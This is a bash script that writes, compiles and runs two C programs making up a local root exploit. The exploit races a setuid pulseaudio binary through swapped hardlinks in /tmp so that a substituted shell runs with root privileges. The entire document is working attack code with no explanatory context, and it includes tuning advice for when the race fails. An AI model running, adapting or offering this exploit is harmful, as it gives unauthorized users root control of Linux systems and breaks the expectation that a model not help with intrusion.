#!/bin/bash

pulseaudio=`which pulseaudio`
workdir="/tmp"
#workdir=$HOME
id=`which id`
shell=`which sh`

trap cleanup INT

function cleanup()
{
 rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c
 rm -rf $workdir/PATMP*
}

cat > $workdir/pa_race.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>

#define PULSEAUDIO_PATH  "$pulseaudio"
#define SH_PATH   "$workdir/sh"
#define TMPDIR_TEMPLATE  "$workdir/PATMPXXXXXX"

void _pause(long sec, long usec);

int main(int argc, char *argv[], char *envp[])
{
 int   status;
 pid_t pid;
 char  template[sizeof(TMPDIR_TEMPLATE)];
 char *tmpdir;
 char  hardlink[sizeof(template) + 2];
 char  hardlink2[sizeof(template) + 12];
 
 srand(time(NULL));
 
 for( ; ; )
 {
  snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE);
  template[sizeof(template) - 1] = '\0';
  
  tmpdir = mkdtemp(template);
  if(tmpdir == NULL)
  {
   perror("mkdtemp");
   return 1;
  }
 
  snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir);
  hardlink[sizeof(hardlink) - 1] = '\0';
 
  snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir);
  hardlink2[sizeof(hardlink2) - 1] = '\0';
 
  /* this fails if $workdir is a different partition */
  if(link(PULSEAUDIO_PATH, hardlink) == -1)
  {
   perror("link");
   return 1;
  }
  
  if(link(SH_PATH, hardlink2) == -1)
  {
   perror("link");
   return 1;
  }
  
  pid = fork();
  
  if(pid == 0)
  {
   char *argv[] = {hardlink, NULL};
   char *envp[] = {NULL};

   execve(hardlink, argv, envp);
   
   perror("execve");
   return 1;
  }
  
  if(pid == -1)
  {
   perror("fork");
   return 1;
  }
  else
  {
   /* tweak this if exploit does not work */
   _pause(0, rand() % 500);
   
   if(unlink(hardlink) == -1)
   {
    perror("unlink");
    return 1;
   }
 
   if(link(SH_PATH, hardlink) == -1)
   {
    perror("link");
    return 1;
   }
   waitpid(pid, &status, 0);
  }
  
  if(unlink(hardlink) == -1)
  {
   perror("unlink");
   return 1;
  }
  
  if(unlink(hardlink2) == -1)
  {
   perror("unlink");
   return 1;
  }
  
  if(rmdir(tmpdir) == -1)
  {
   perror("rmdir");
   return 1;
  }
 }
  
 return 0;
}

void _pause(long sec, long usec)
{
 struct timeval timeout;
 
 timeout.tv_sec  = sec;
 timeout.tv_usec = usec;
 
 if(select(0, NULL, NULL, NULL, &timeout) == -1)
 {
  perror("select");
 }
}
__EOF__

cat > $workdir/sh.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[], char *envp[])
{
 if(geteuid() != 0)
 {
  return 1;
 }

 setuid(0);
 setgid(0);

 if(fork() == 0)
 {
  argv[0] = "$id";
  argv[1] = NULL;
  execve(argv[0], argv, envp);
  return 1;
 }

 argv[0] = "$shell";
 argv[1] = NULL;
 execve(argv[0], argv, envp);
 return 1;
}
__EOF__

gcc -o $workdir/pa_race $workdir/pa_race.c
gcc -o $workdir/sh $workdir/sh.c

$workdir/pa_race